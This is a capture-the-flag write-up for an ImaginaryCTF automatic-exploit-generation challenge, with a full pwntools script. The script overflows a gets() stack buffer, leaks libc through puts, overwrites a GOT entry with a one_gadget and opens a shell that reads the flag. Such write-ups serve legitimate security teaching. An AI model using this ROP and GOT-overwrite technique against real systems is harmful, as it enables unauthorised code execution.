Speedrun was a nth variation of aeg type challenge,
automatic exploit generation..
the exploit only call a gets fonction for input, on stack,
and the stack buffer's size for the gets changes at each generation of the executable...
we just made a pwntools program that decode the base64 program,
read the stack buffer size from the binary, (a sub rsp,offset) instruction
then a simple puts(got entry) to get a libc leak, calculate libc base,
and a gets, to write back a onegadget entry on another got entry (setvbuf)
then we call onegadget ..and that's all
ahh yes, I did a first run to identify the remote libc, which was: libc6_2.28-10_amd64.so
that's all..
![](https://imgur.com/9YkF6iN.png)
```python#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *import base64
host = args.HOST or 'chal.imaginaryctf.org'port = int(args.PORT or 42020)
io = connect(host,port)
# we receive the base64 encoded fileio.recvuntil('DATA---------------------------\n', drop=True)encoded = io.recvuntil('----------------------------END  DATA----------------------------', drop=True)decoded = base64.b64decode(encoded)
# write it to a temporary filef = open('pipo.bin', 'wb')f.write(decoded)f.close()
exe = ELF('pipo.bin')libc = ELF('./libc.so.6')
def one_gadget(filename, base_addr=0):  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
rop = ROP(exe)
# we read the stack frame size from the binary (could be a 32bit or 8bit displacement)  sub rsp,offsettemp = u8(exe.read(0x401147, 1))if (temp == 0x81):  size = u32(exe.read(0x401149, 4))else:  size = u8(exe.read(0x401149, 1))
print('stack size: '+str(size)+' ('+hex(size)+')')
# buffer on bssbuff = exe.bss(0xa00)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]gadget_ret = rop.find_gadget(['ret'])[0]
# we dump puts got entry to leak libc address then with gets, we write back a onegadget address in setvbuf got entry, then call the onegadgetpayload = 'A'*size+p64(0xdeadbeef)+p64(pop_rdi)+p64(exe.got['puts'])+p64(exe.symbols['puts'])+p64(pop_rdi)+p64(exe.got['setvbuf'])+p64(exe.symbols['gets'])+p64(exe.symbols['setvbuf'])
io.sendline(payload)io.recvuntil('Thanks!\n', drop=True)
# we recevie our libc leak addressleak = u64( io.recvuntil('\n',drop=True).ljust(8,b'\x00'))print('leak = '+hex(leak))libc.address = leak - libc.symbols['puts']print('libc base = '+hex(libc.address))
# send the one gadget addressonegadgets = one_gadget('libc.so.6', libc.address)io.sendline(p64(onegadgets[1]))
io.sendline('id;cat flag*')
io.interactive()```
*nobodyisnobody still pwning things*